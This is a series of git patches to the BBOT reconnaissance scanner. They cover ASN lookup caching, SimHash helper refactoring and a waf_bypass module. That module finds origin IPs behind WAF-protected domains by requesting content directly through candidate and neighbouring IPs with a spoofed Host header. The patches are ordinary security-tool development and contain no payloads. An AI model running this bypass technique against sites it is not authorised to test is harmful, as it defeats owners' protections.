@@ async def test_asn_targets_edge_cases(bbot_scanner): # Test ASN with no subnets class MockEmptyASNHelper: async def asn_to_subnets(self, asn_number): - return [] # No subnets found + return None # No subnets found class MockEmptyHelpers: def __init__(self): @@ -543,8 +539,8 @@ async def test_asn_blacklist_functionality(bbot_scanner): # Mock ASN 15169 to return 8.8.8.0/24 (within our target range) async def mock_asn_to_subnets(self, asn_number): if asn_number == 15169: - return [{"asn": 15169, "subnets": ["8.8.8.0/24"]}] - return [] + return {"asn": 15169, "subnets": ["8.8.8.0/24"]} + return None original_method = ASNHelper.asn_to_subnets ASNHelper.asn_to_subnets = mock_asn_to_subnets From bdce02d64b737c9f0db2b289b46b4b696c1b4d48 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 14:31:08 -0400 Subject: [PATCH 088/129] LRU cache, fix rate limiting --- bbot/core/helpers/asn.py | 42 ++++++++++++++++++++++++---------------- 1 file changed, 25 insertions(+), 17 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 348b381389..887477df94 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -2,6 +2,7 @@ import logging import asyncio from radixtarget.tree.ip import IPRadixTree +from cachetools import LRUCache log = logging.getLogger("bbot.core.helpers.asn") @@ -15,9 +16,10 @@ def __init__(self, parent_helper): # IP radix trees (authoritative store) – IPv4 and IPv6 self._tree4: IPRadixTree = IPRadixTree() self._tree6: IPRadixTree = IPRadixTree() - self._subnet_to_asn_cache: dict[str, dict] = {} + # LRU caches with reasonable limits to prevent unbounded memory growth + self._subnet_to_asn_cache: LRUCache = LRUCache(maxsize=10000) # Cache subnet -> ASN mappings # ASN cache (ASN ID -> data mapping) - self._asn_to_data_cache: dict[int, dict] = {} + self._asn_to_data_cache: LRUCache = LRUCache(maxsize=5000) # Cache ASN records # Default record used when no ASN data can be found UNKNOWN_ASN = { @@ -29,28 +31,34 @@ def __init__(self, parent_helper): } async def _request_with_retry(self, url, max_retries=10): + log.critical(f"ASN API request: {url}") """Make request with retry for 429 responses using Retry-After header.""" for attempt in range(max_retries + 1): response = await self.parent_helper.request(url, timeout=15) - if response is None or getattr(response, "status_code", 0) != 429: + if response is None or getattr(response, "status_code", 0) == 200: log.debug(f"ASN API request successful, status code: {getattr(response, 'status_code', 0)}") return response - if attempt < max_retries: - log.debug(f"ASN API rate limited, attempt {attempt + 1}") - # Get retry-after header value, default to 1 second if not present - retry_after = getattr(response, "headers", {}).get("retry-after", "1") - try: - delay = int(retry_after) + 1 - except (ValueError, TypeError): - delay = 2 # fallback if header is invalid - - log.debug( - f"ASN API rate limited, waiting {delay}s (retry-after: {retry_after}) (attempt {attempt + 1})" - ) - await asyncio.sleep(delay) + elif getattr(response, "status_code", 0) == 429: + if attempt < max_retries: + attempt += 1 + # Get retry-after header value, default to 1 second if not present + retry_after = getattr(response, "headers", {}).get("retry-after", "10") + delay = int(retry_after) + log.verbose( + f"ASN API rate limited, waiting {delay}s (retry-after: {retry_after}) (attempt {attempt})" + ) + await asyncio.sleep(delay) + else: + log.warning(f"ASN API gave up after {max_retries + 1} attempts due to repeatedrate limiting") + elif getattr(response, "status_code", 0) == 404: + log.debug(f"ASN API returned 404 for {url}") + return None else: - log.warning(f"ASN API gave up after {max_retries + 1} attempts due to rate limiting") + log.warning( + f"Got unexpected status code: {getattr(response, 'status_code', 0)} from ASN DB api ({url})" + ) + return None return response From 5a1a66d8859009c3ca786fcfeb09df6cbc6908ce Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 14:49:16 -0400 Subject: [PATCH 089/129] remove debug --- bbot/core/helpers/asn.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 887477df94..39374d6bab 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -31,7 +31,6 @@ def __init__(self, parent_helper): } async def _request_with_retry(self, url, max_retries=10): - log.critical(f"ASN API request: {url}") """Make request with retry for 429 responses using Retry-After header.""" for attempt in range(max_retries + 1): response = await self.parent_helper.request(url, timeout=15) From a66b01294889ac495962c396d1977449a497526a Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 26 Sep 2025 17:10:08 -0400 Subject: [PATCH 090/129] comments --- bbot/modules/waf_bypass.py | 141 ++++++++++++++++++++++++------------- 1 file changed, 91 insertions(+), 50 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 4461877d32..45811c2d95 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -4,6 +4,45 @@ class waf_bypass(BaseModule): """ Module to detect WAF bypasses by finding domains not behind CloudFlare + + Basic gist: + + throughout the scan we build: + - a list of waf'd hosts + - a list of asns that our target is hopefully deploying their shit on + + in .finish(), we look back on all the urls that aren't waf'd + for each unwaf'd host: + if it's in a our list of asns, we get its ip neighbors + for each of those neighbors we test it: + for each wafd host, we try and visit that ip with spoofed host + + How it works: + + In handle_event(): + For each URL, we: + 1) dns-resolve the host and save the host->ip mappings twice: + once, always + once, for only cloud ips + 2) determine whether it's protected behind a WAF + if it is WAF-protected, we: + - visit the URL and hash its content + - dns-resolve the base domain + if the ips for the dns name are the same as the ips for the base domain, we abort + - there is definitely a reason for this? + we add the base domain to bypass_candidates if not already + for all the IPs of the base domain, we get their ASNs + + Potential issues: + - exponential duration of .finish() based on target size + + n = urls not wafd + j = ip neighbors of n + k = wafd hosts + + n, k scale with target size + duration of .finish == n * j * k + """ watched_events = ["URL"] @@ -26,6 +65,8 @@ class waf_bypass(BaseModule): "created_date": "2025-08-11", } + per_host_only = True + async def setup(self): # Track protected domains and their potential bypass CIDRs self.protected_domains = {} # {domain: event} - store events for protected domains @@ -46,52 +87,10 @@ async def setup(self): self.cloud_ips = set() return True - async def get_url_content(self, url, ip=None): - """Helper function to fetch content from a URL, optionally through specific IP""" - try: - if ip: - # Build resolve dict for curl helper - host_tuple = self.helpers.extract_host(url) - if not host_tuple[0]: - self.warning(f"Failed to extract host from URL: {url}") - return None - host = host_tuple[0] - - # Determine port from scheme (default 443/80) or explicit port in URL - try: - from urllib.parse import urlparse - - parsed = urlparse(url) - port = parsed.port or (443 if parsed.scheme == "https" else 80) - except Exception: - port = 443 # safe default for https - - self.debug(f"Fetching via curl with --resolve {host}:{port}:{ip} for {url}") - - curl_response = await self.helpers.web.curl( - url=url, - resolve={"host": host, "port": port, "ip": ip}, - ) - - if curl_response: - return curl_response - else: - self.debug(f"curl returned no content for {url} via IP {ip}") - else: - response = await self.helpers.web.curl(url=url) - if not response: - self.debug(f"No response received from {url}") - return None - elif response.get("http_code", 0) in [200, 301, 302, 500]: - return response - else: - self.debug( - f"Failed to fetch content from {url} - Status: {response.get('http_code', 'unknown')} (not in allowed list)" - ) - return None - except Exception as e: - self.debug(f"Error fetching content from {url}: {str(e)}") - return None + async def filter_event(self, event): + if "endpoint" in event.tags: + return False, "WAF bypass module only considers directory URLs" + return True async def handle_event(self, event): domain = str(event.host) @@ -208,10 +207,52 @@ async def handle_event(self, event): else: self.warning(f"No ASN info found for IP {ip}") - async def filter_event(self, event): - if "endpoint" in event.tags: - return False, "WAF bypass module only considers directory URLs" - return True + async def get_url_content(self, url, ip=None): + """Helper function to fetch content from a URL, optionally through specific IP""" + try: + if ip: + # Build resolve dict for curl helper + host_tuple = self.helpers.extract_host(url) + if not host_tuple[0]: + self.warning(f"Failed to extract host from URL: {url}") + return None + host = host_tuple[0] + + # Determine port from scheme (default 443/80) or explicit port in URL + try: + from urllib.parse import urlparse + + parsed = urlparse(url) + port = parsed.port or (443 if parsed.scheme == "https" else 80) + except Exception: + port = 443 # safe default for https + + self.debug(f"Fetching via curl with --resolve {host}:{port}:{ip} for {url}") + + curl_response = await self.helpers.web.curl( + url=url, + resolve={"host": host, "port": port, "ip": ip}, + ) + + if curl_response: + return curl_response + else: + self.debug(f"curl returned no content for {url} via IP {ip}") + else: + response = await self.helpers.web.curl(url=url) + if not response: + self.debug(f"No response received from {url}") + return None + elif response.get("http_code", 0) in [200, 301, 302, 500]: + return response + else: + self.debug( + f"Failed to fetch content from {url} - Status: {response.get('http_code', 'unknown')} (not in allowed list)" + ) + return None + except Exception as e: + self.debug(f"Error fetching content from {url}: {str(e)}") + return None async def check_ip(self, ip, source_domain, protected_domain, source_event): matching_url = next((url for url in self.content_fingerprints.keys() if protected_domain in url), None) From 4da27b8cf2728275a3fbc35cf0238a61b577e55b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 17:16:10 -0400 Subject: [PATCH 091/129] remove per host only --- bbot/modules/waf_bypass.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 45811c2d95..98de8d9b6b 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -65,7 +65,6 @@ class waf_bypass(BaseModule): "created_date": "2025-08-11", } - per_host_only = True async def setup(self): # Track protected domains and their potential bypass CIDRs From 12bf1f97793d09ab022c0c22ded89471971418e3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 21:12:03 -0400 Subject: [PATCH 092/129] simhash helper update --- bbot/core/helpers/helper.py | 10 ++-------- bbot/core/helpers/simhash.py | 26 +++++++++++++++++++++++++- 2 files changed, 27 insertions(+), 9 deletions(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index ff7c422302..ba02570b26 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -14,8 +14,8 @@ from .wordcloud import WordCloud from .interactsh import Interactsh from .yara_helper import YaraHelper +from .simhash import SimHashHelper from .depsinstaller import DepsInstaller -from .simhash import SimHash from .async_helpers import get_event_loop from bbot.scanner.target import BaseTarget @@ -89,10 +89,10 @@ def __init__(self, preset): self.re = RegexHelper(self) self.yara = YaraHelper(self) + self.simhash = SimHashHelper() self._dns = None self._web = None self._asn = None - self._simhash = None self.config_aware_validators = self.validators.Validators(self) self.depsinstaller = DepsInstaller(self) self.word_cloud = WordCloud(self) @@ -116,12 +116,6 @@ def asn(self): self._asn = ASNHelper(self) return self._asn - @property - def simhash(self): - if self._simhash is None: - self._simhash = SimHash() - return self._simhash - @property def cloud(self): if self._cloud is None: diff --git a/bbot/core/helpers/simhash.py b/bbot/core/helpers/simhash.py index 5bc9cb680e..98bb49d1d1 100644 --- a/bbot/core/helpers/simhash.py +++ b/bbot/core/helpers/simhash.py @@ -2,10 +2,30 @@ import re -class SimHash: +class SimHashHelper: def __init__(self, bits=64): self.bits = bits + @staticmethod + def compute_simhash(text, bits=64, truncate=True, normalization_filter=None): + """ + Static method for computing SimHash that can be used with multiprocessing. + + This method is designed to be used with run_in_executor_mp() for CPU-intensive + SimHash computations across multiple processes. + + Args: + text (str): The text to hash + bits (int): Number of bits for the hash. Defaults to 64. + truncate (bool): Whether to truncate large text for performance. Defaults to True. + normalization_filter (str): Text to remove for normalization. Defaults to None. + + Returns: + int: The SimHash fingerprint + """ + helper = SimHashHelper(bits=bits) + return helper.hash(text, truncate=truncate, normalization_filter=normalization_filter) + def _truncate_content(self, content): """ Truncate large content for similarity comparison to improve performance. @@ -87,3 +107,7 @@ def similarity(self, hash1, hash2): # Hamming distance: count of differing bits diff = (hash1 ^ hash2).bit_count() return 1.0 - (diff / self.bits) + + +# Module-level alias for the static method to enable clean imports +compute_simhash = SimHashHelper.compute_simhash From f4461178ab0953ae1c5adf82e5b692a498abc0b0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 21:12:30 -0400 Subject: [PATCH 093/129] major waf_bypass refactor --- bbot/modules/virtualhost.py | 21 ++-- bbot/modules/waf_bypass.py | 202 +++++++++++------------------------- 2 files changed, 72 insertions(+), 151 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index cb83e01bdd..12c9dedd25 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -4,6 +4,7 @@ from bbot.modules.base import BaseModule from bbot.errors import CurlError +from bbot.core.helpers.simhash import compute_simhash class virtualhost(BaseModule): @@ -415,8 +416,8 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, ) return True - probe_simhash = self.helpers.simhash.hash(probe_response["response_data"]) - wildcard_simhash = self.helpers.simhash.hash(wildcard_canary_response["response_data"]) + probe_simhash = await self.helpers.run_in_executor_mp(compute_simhash, probe_response["response_data"]) + wildcard_simhash = await self.helpers.run_in_executor_mp(compute_simhash, wildcard_canary_response["response_data"]) similarity = self.helpers.simhash.similarity(probe_simhash, wildcard_simhash) # Compare original probe response with modified response @@ -638,7 +639,7 @@ async def _test_virtualhost( self.debug(f"{protocol} probe failed for {probe_host} on ip {host_ip} - no response or empty data") return None - similarity = self.analyze_response(probe_host, probe_response, canary_response, event) + similarity = await self.analyze_response(probe_host, probe_response, canary_response, event) if similarity is None: return None @@ -710,7 +711,7 @@ async def _test_virtualhost( "content_length": len(probe_response.get("response_data", "")), } - def analyze_response(self, probe_host, probe_response, canary_response, event): + async def analyze_response(self, probe_host, probe_response, canary_response, event): probe_status = probe_response["http_code"] canary_status = canary_response["http_code"] @@ -755,8 +756,8 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): # Calculate content similarity to canary (junk response) # Use probe hostname for normalization to remove hostname reflection differences - probe_simhash = self.helpers.simhash.hash(probe_response["response_data"], normalization_filter=probe_host) - canary_simhash = self.helpers.simhash.hash(canary_response["response_data"], normalization_filter=probe_host) + probe_simhash = await self.helpers.run_in_executor_mp(compute_simhash, probe_response["response_data"], normalization_filter=probe_host) + canary_simhash = await self.helpers.run_in_executor_mp(compute_simhash, canary_response["response_data"], normalization_filter=probe_host) similarity = self.helpers.simhash.similarity(probe_simhash, canary_simhash) @@ -788,8 +789,8 @@ async def _verify_canary_keyword(self, original_response, probe_url, is_https, b ) return False - original_simhash = self.helpers.simhash.hash(original_response["response_data"]) - keyword_simhash = self.helpers.simhash.hash(keyword_canary_response["response_data"]) + original_simhash = await self.helpers.run_in_executor_mp(compute_simhash, original_response["response_data"]) + keyword_simhash = await self.helpers.run_in_executor_mp(compute_simhash, keyword_canary_response["response_data"]) similarity = self.helpers.simhash.similarity(original_simhash, keyword_simhash) if similarity >= self.SIMILARITY_THRESHOLD: @@ -828,8 +829,8 @@ async def _verify_canary_consistency( return True # Fallback - use similarity comparison for response data (allows slight differences) - original_simhash = self.helpers.simhash.hash(original_canary_response["response_data"]) - consistency_simhash = self.helpers.simhash.hash(consistency_canary_response["response_data"]) + original_simhash = await self.helpers.run_in_executor_mp(compute_simhash, original_canary_response["response_data"]) + consistency_simhash = await self.helpers.run_in_executor_mp(compute_simhash, consistency_canary_response["response_data"]) similarity = self.helpers.simhash.similarity(original_simhash, consistency_simhash) if similarity < self.SIMILARITY_THRESHOLD: self.verbose( diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 98de8d9b6b..4c04ce39be 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -1,48 +1,20 @@ +from radixtarget.tree.ip import IPRadixTree from bbot.modules.base import BaseModule +from bbot.core.helpers.simhash import compute_simhash class waf_bypass(BaseModule): """ - Module to detect WAF bypasses by finding domains not behind CloudFlare - - Basic gist: - - throughout the scan we build: - - a list of waf'd hosts - - a list of asns that our target is hopefully deploying their shit on - - in .finish(), we look back on all the urls that aren't waf'd - for each unwaf'd host: - if it's in a our list of asns, we get its ip neighbors - for each of those neighbors we test it: - for each wafd host, we try and visit that ip with spoofed host - - How it works: - - In handle_event(): - For each URL, we: - 1) dns-resolve the host and save the host->ip mappings twice: - once, always - once, for only cloud ips - 2) determine whether it's protected behind a WAF - if it is WAF-protected, we: - - visit the URL and hash its content - - dns-resolve the base domain - if the ips for the dns name are the same as the ips for the base domain, we abort - - there is definitely a reason for this? - we add the base domain to bypass_candidates if not already - for all the IPs of the base domain, we get their ASNs - - Potential issues: - - exponential duration of .finish() based on target size - - n = urls not wafd - j = ip neighbors of n - k = wafd hosts - - n, k scale with target size - duration of .finish == n * j * k + Module to detect WAF bypasses by finding direct IP access to WAF-protected content. + Overview: + Throughout the scan, we collect: + 1. WAF-protected domains (identified by CloudFlare/Imperva tags) and their SimHash content fingerprints + 2. All domain->IP mappings from DNS resolution of URL events + 3. Cloud IPs separately tracked via "cloud-ip" tags + + In finish(), we test if WAF-protected content can be accessed directly via IPs from non-protected domains. + Optionally, it explores IP neighbors within the same ASN to find additional bypass candidates. """ watched_events = ["URL"] @@ -55,28 +27,27 @@ class waf_bypass(BaseModule): options_desc = { "similarity_threshold": "Similarity threshold for content matching", - "search_ip_neighbors": "Also check IP neighbors of qualified IPs", + "search_ip_neighbors": "Also check IP neighbors of the target domain", "neighbor_cidr": "CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true", } flags = ["active", "safe", "web-thorough"] meta = { "description": "Detects potential WAF bypasses", "author": "@liquidsec", - "created_date": "2025-08-11", + "created_date": "2025-09-26", } async def setup(self): # Track protected domains and their potential bypass CIDRs - self.protected_domains = {} # {domain: event} - store events for protected domains - self.bypass_candidates = {} # {base_domain: set(cidrs)} - self.domain_ips = {} # {full_domain: set(ips)} - self.similarity_cache = {} - self.content_fingerprints = {} + self.protected_domains = {} # {domain: event} - track protected domains and store their parent events + self.domain_ip_map = {} # {full_domain: set(ips)} - track all IPs for each domain + self.content_fingerprints = {} # {url: {simhash, http_code}} - track the content fingerprints for each URL self.similarity_threshold = self.config.get("similarity_threshold", 0.90) self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) + if self.search_ip_neighbors and not (24 <= self.neighbor_cidr <= 31): self.warning(f"Invalid neighbor_cidr {self.neighbor_cidr}. Must be between 24 and 31.") return False @@ -93,19 +64,18 @@ async def filter_event(self, event): async def handle_event(self, event): domain = str(event.host) - base_domain = self.helpers.tldextract(domain).top_domain_under_public_suffix url = str(event.data) - # Store IPs for every domain we see - dns_response = await self.helpers.dns.resolve(domain) - if dns_response: - if domain not in self.domain_ips: - self.domain_ips[domain] = set() - for ip in dns_response: + # Store the IPs that each domain (that came from a URL event) resolves to. We have to resolve ourself, since normal BBOT DNS resolution doesn't keep ALL the IPs + domain_dns_response = await self.helpers.dns.resolve(domain) + if domain_dns_response: + if domain not in self.domain_ip_map: + self.domain_ip_map[domain] = set() + for ip in domain_dns_response: ip_str = str(ip) # Validate that this is actually an IP address before storing if self.helpers.is_ip(ip_str): - self.domain_ips[domain].add(ip_str) + self.domain_ip_map[domain].add(ip_str) self.debug(f"Mapped domain {domain} to IP {ip_str}") if "cloud-ip" in event.tags: self.cloud_ips.add(ip_str) @@ -113,7 +83,7 @@ async def handle_event(self, event): else: self.warning(f"DNS resolution for {domain} returned non-IP result: {ip_str}") else: - self.warning(f" DNS resolution for {domain}") + self.warning(f"DNS resolution failed for {domain}") # Detect WAF/CDN protection based on tags provider_name = None @@ -126,7 +96,7 @@ async def handle_event(self, event): if is_protected: self.debug(f"{provider_name} protection detected via tags: {event.tags}") - # Save the full domain and event for CloudFlare-protected URLs + # Save the full domain and event for WAF-protected URLs, this is necessary to find the appropriate parent event later in .finish() self.protected_domains[domain] = event self.debug(f"Found {provider_name}-protected domain: {domain}") @@ -139,8 +109,9 @@ async def handle_event(self, event): self.debug(f"Failed to get content from protected URL {url}") return - # Store the response object for later comparison - simhash = self.helpers.simhash.hash(curl_response["response_data"]) + # Store a "simhash" (fuzzy hash) of the response data for later comparison + simhash = await self.helpers.run_in_executor_mp(compute_simhash, curl_response["response_data"]) + self.content_fingerprints[url] = { "simhash": simhash, "http_code": curl_response["http_code"], @@ -149,63 +120,6 @@ async def handle_event(self, event): f"Stored simhash of response from {url} (content length: {len(curl_response['response_data'])})" ) - # Get CIDRs from the base domain of the protected domain - base_dns = await self.helpers.dns.resolve(base_domain) - if not base_dns: - self.debug(f"WARNING: No DNS resolution for {provider_name} base domain {base_domain}") - if base_dns and (set(str(ip) for ip in base_dns) == self.domain_ips.get(domain, set())): - self.debug(f"Base domain {base_domain} has same IPs as protected domain, skipping CIDR collection") - else: - if base_domain not in self.bypass_candidates: - self.bypass_candidates[base_domain] = set() - self.debug(f"Created new CIDR set for {provider_name} base domain: {base_domain}") - - for ip in base_dns: - self.debug(f"Getting ASN info for IP {ip} from {provider_name} base domain {base_domain}") - asn_info = await self.helpers.asn.ip_to_subnets(str(ip)) - if asn_info: - subnets = asn_info.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if subnets: - for cidr in subnets: - self.bypass_candidates[base_domain].add(cidr) - self.debug( - f"Added CIDR {cidr} from {provider_name} base domain {base_domain} " - f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" - ) - else: - self.warning(f"No ASN info found for IP {ip}") - - else: - if "cdn-ip" in event.tags: - self.debug("CDN IP detected, skipping CIDR collection") - return - - # Collect CIDRs for non-CloudFlare domains - if dns_response: - if base_domain not in self.bypass_candidates: - self.bypass_candidates[base_domain] = set() - self.debug(f"Created new CIDR set for base domain: {base_domain}") - - for ip in dns_response: - self.debug(f"Getting ASN info for IP {ip} from non-CloudFlare domain {domain}") - asn_info = await self.helpers.asn.ip_to_subnets(str(ip)) - if asn_info: - subnets = asn_info.get("subnets") - if not subnets: - continue - if isinstance(subnets, str): - subnets = [subnets] - for cidr in subnets: - self.bypass_candidates[base_domain].add(cidr) - self.debug( - f"Added CIDR {cidr} from non-CloudFlare domain {domain} " - f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" - ) - else: - self.warning(f"No ASN info found for IP {ip}") - async def get_url_content(self, url, ip=None): """Helper function to fetch content from a URL, optionally through specific IP""" try: @@ -268,7 +182,7 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): self.verbose(f"Bypass attempt: {protected_domain} via {ip} from {source_domain}") bypass_response = await self.get_url_content(matching_url, ip) - bypass_simhash = self.helpers.simhash.hash(bypass_response["response_data"]) + bypass_simhash = await self.helpers.run_in_executor_mp(compute_simhash, bypass_response["response_data"]) if not bypass_response: self.debug(f"Failed to get content through IP {ip} for URL {matching_url}") return None @@ -289,60 +203,66 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): async def finish(self): self.verbose(f"Found {len(self.protected_domains)} Protected Domains") - self.verbose(f"Found {len(self.bypass_candidates)} Bypass Candidates") confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] - all_ips = {} # {ip: domain} - cloudflare_ips = set() + ip_bypass_candidates = {} # {ip: domain} + waf_ips = set() - # First collect CloudFlare IPs + # First collect all the WAF-protected DOMAINS we've seen for protected_domain in self.protected_domains: - if protected_domain in self.domain_ips: - cloudflare_ips.update(self.domain_ips[protected_domain]) + if protected_domain in self.domain_ip_map: + waf_ips.update(self.domain_ip_map[protected_domain]) - # Then collect non-CloudFlare IPs - for domain, ips in self.domain_ips.items(): + # Then collect all the non-WAF-protected IPs we've seen + for domain, ips in self.domain_ip_map.items(): self.debug(f"Checking IP {ips} from domain {domain}") if domain not in self.protected_domains: # If it's not a protected domain for ip in ips: # Validate that this is actually an IP address before processing if not self.helpers.is_ip(ip): - self.warning(f"Skipping non-IP address '{ip}' found in domain_ips for {domain}") + self.warning(f"Skipping non-IP address '{ip}' found in domain_ip_map for {domain}") continue - if ip not in cloudflare_ips: # And IP isn't a known CloudFlare IP - all_ips[ip] = domain + if ip not in waf_ips: # And IP isn't a known WAF IP + ip_bypass_candidates[ip] = domain self.debug(f"Added potential bypass IP {ip} from domain {domain}") + # if we have IP neighbors searching enabled, and the IP isn't a cloud IP, we can add the IP neighbors to our list of potential bypasses if self.search_ip_neighbors and ip not in self.cloud_ips: import ipaddress - orig_asn = await self.helpers.asn.ip_to_subnets(str(ip)) - if orig_asn: + # Get the ASN data for the IP - used later to keep brute force from crossing ASN boundaries + asn_data = await self.helpers.asn.ip_to_subnets(str(ip)) + if asn_data: + # Build a radix tree of the ASN subnets for the IP + asn_subnets_tree = IPRadixTree() + for subnet in asn_data["subnets"]: + asn_subnets_tree.insert(subnet, data=True) + + # Generate a network based on the neighbor_cidr option neighbor_net = ipaddress.ip_network(f"{ip}/{self.neighbor_cidr}", strict=False) for neighbor_ip in neighbor_net.hosts(): - n_ip_str = str(neighbor_ip) - if n_ip_str == ip or n_ip_str in cloudflare_ips or n_ip_str in all_ips: - continue - asn_neighbor = await self.helpers.asn.ip_to_subnets(n_ip_str) - if not asn_neighbor: + neighbor_ip_str = str(neighbor_ip) + # Don't add the neighbor IP if its: ip we started with, a waf ip, or already in the list + if neighbor_ip_str == ip or neighbor_ip_str in waf_ips or neighbor_ip_str in ip_bypass_candidates: continue - # Check if ASN matches - if orig_asn["asn"] == asn_neighbor["asn"]: - all_ips[n_ip_str] = domain + + # make sure we aren't crossing an ASN boundary with our neighbor exploration + if asn_subnets_tree.get_node(neighbor_ip_str): self.debug( - f"Added Neighbor IP ({ip} -> {n_ip_str}) as potential bypass IP derived from {domain}" + f"Added Neighbor IP ({ip} -> {neighbor_ip_str}) as potential bypass IP derived from {domain}" ) + ip_bypass_candidates[neighbor_ip_str] = domain else: - self.debug(f"IP {ip} is in CloudFlare IPS so we don't check as potential bypass") + self.debug(f"IP {ip} is in WAF IPS so we don't check as potential bypass") - self.debug(f"\nFound {len(all_ips)} non-CloudFlare IPs to check: {all_ips}") + self.verbose(f"\nFound {len(ip_bypass_candidates)} non-WAF IPs to check") coros = [] new_pairs_count = 0 for protected_domain, source_event in self.protected_domains.items(): - for ip, src in all_ips.items(): + for ip, src in ip_bypass_candidates.items(): combo = (protected_domain, ip) if combo in self.attempted_bypass_pairs: continue From 321c2592f056c8dd3f5ae30a8fb4f4afa1d47a09 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 21:13:36 -0400 Subject: [PATCH 094/129] format --- bbot/core/helpers/simhash.py | 6 +++--- bbot/modules/virtualhost.py | 24 ++++++++++++++++++------ bbot/modules/waf_bypass.py | 8 +++++--- 3 files changed, 26 insertions(+), 12 deletions(-) diff --git a/bbot/core/helpers/simhash.py b/bbot/core/helpers/simhash.py index 98bb49d1d1..e6e05f6fcc 100644 --- a/bbot/core/helpers/simhash.py +++ b/bbot/core/helpers/simhash.py @@ -10,16 +10,16 @@ def __init__(self, bits=64): def compute_simhash(text, bits=64, truncate=True, normalization_filter=None): """ Static method for computing SimHash that can be used with multiprocessing. - + This method is designed to be used with run_in_executor_mp() for CPU-intensive SimHash computations across multiple processes. - + Args: text (str): The text to hash bits (int): Number of bits for the hash. Defaults to 64. truncate (bool): Whether to truncate large text for performance. Defaults to True. normalization_filter (str): Text to remove for normalization. Defaults to None. - + Returns: int: The SimHash fingerprint """ diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 12c9dedd25..dffd8df6ca 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -417,7 +417,9 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, return True probe_simhash = await self.helpers.run_in_executor_mp(compute_simhash, probe_response["response_data"]) - wildcard_simhash = await self.helpers.run_in_executor_mp(compute_simhash, wildcard_canary_response["response_data"]) + wildcard_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, wildcard_canary_response["response_data"] + ) similarity = self.helpers.simhash.similarity(probe_simhash, wildcard_simhash) # Compare original probe response with modified response @@ -756,8 +758,12 @@ async def analyze_response(self, probe_host, probe_response, canary_response, ev # Calculate content similarity to canary (junk response) # Use probe hostname for normalization to remove hostname reflection differences - probe_simhash = await self.helpers.run_in_executor_mp(compute_simhash, probe_response["response_data"], normalization_filter=probe_host) - canary_simhash = await self.helpers.run_in_executor_mp(compute_simhash, canary_response["response_data"], normalization_filter=probe_host) + probe_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, probe_response["response_data"], normalization_filter=probe_host + ) + canary_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, canary_response["response_data"], normalization_filter=probe_host + ) similarity = self.helpers.simhash.similarity(probe_simhash, canary_simhash) @@ -790,7 +796,9 @@ async def _verify_canary_keyword(self, original_response, probe_url, is_https, b return False original_simhash = await self.helpers.run_in_executor_mp(compute_simhash, original_response["response_data"]) - keyword_simhash = await self.helpers.run_in_executor_mp(compute_simhash, keyword_canary_response["response_data"]) + keyword_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, keyword_canary_response["response_data"] + ) similarity = self.helpers.simhash.similarity(original_simhash, keyword_simhash) if similarity >= self.SIMILARITY_THRESHOLD: @@ -829,8 +837,12 @@ async def _verify_canary_consistency( return True # Fallback - use similarity comparison for response data (allows slight differences) - original_simhash = await self.helpers.run_in_executor_mp(compute_simhash, original_canary_response["response_data"]) - consistency_simhash = await self.helpers.run_in_executor_mp(compute_simhash, consistency_canary_response["response_data"]) + original_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, original_canary_response["response_data"] + ) + consistency_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, consistency_canary_response["response_data"] + ) similarity = self.helpers.simhash.similarity(original_simhash, consistency_simhash) if similarity < self.SIMILARITY_THRESHOLD: self.verbose( diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 4c04ce39be..dc7fe38151 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -37,7 +37,6 @@ class waf_bypass(BaseModule): "created_date": "2025-09-26", } - async def setup(self): # Track protected domains and their potential bypass CIDRs self.protected_domains = {} # {domain: event} 